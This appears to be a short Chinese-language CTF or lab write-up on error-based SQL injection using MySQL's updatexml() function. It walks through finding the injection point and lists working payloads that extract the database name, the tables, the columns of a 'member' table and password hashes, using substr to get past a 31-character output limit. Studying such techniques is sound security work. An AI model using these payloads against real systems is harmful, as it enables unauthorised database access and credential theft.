思路:找注入点,然后发现还是老地方,然后用 and 1=1 和 and 1=2 结果都一样,猜测应是and被过滤了,然后是用 单引号发现报错,说明注入点就在这,根据题目 报错注入,那么注入的流程就很显而易见了
首先是要知道报错注入时用的语句
' and updatexml(1,concat(0x7e,(X),0x7e),1)--+
【0x7e 其实指的就是~,在这里其实是可以随便换的,深入了解报错函数原理的话
SQL字符型注入(get)-利用updatexml函数-报错注入 - 知乎】
X就是平时我们注入的语句,单要注意的是,报错注入回显的部分最多显示31位(md5是32位的)
总结:报错注入的注入格式要知道,事实上还有其他的报错函数,比方floo(),extractvalue(),exp(),记住报错回显部分最多31,知道 limit a,b【从第a个数据开始,往后取b个】 用法,substr(a,b,c)【从b位开始截取a,截取c位】
数据库
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
表
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema =database()),0x7e),1)--+
列,这里要注意还是,要把 member换成ASCLL形式前面加个0x
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x6d656d626572),0x7e),1)--+
然后就是值,这里要注意的是回显部分最多显示31位但是md5值有32位,所以我们在获取mad5值时,要注意,在获取最好一位
' and updatexml(1,concat(0x7e,(select password from member limit 1,1),0x7e),1)--+
' and updatexml(1,concat(0x7e,(select substr(password,32,1) from member limit 1,1),0x7e),1)--+
' and updatexml(1,concat(0x7e,(select group_concat(name) from member),0x7e),1)--+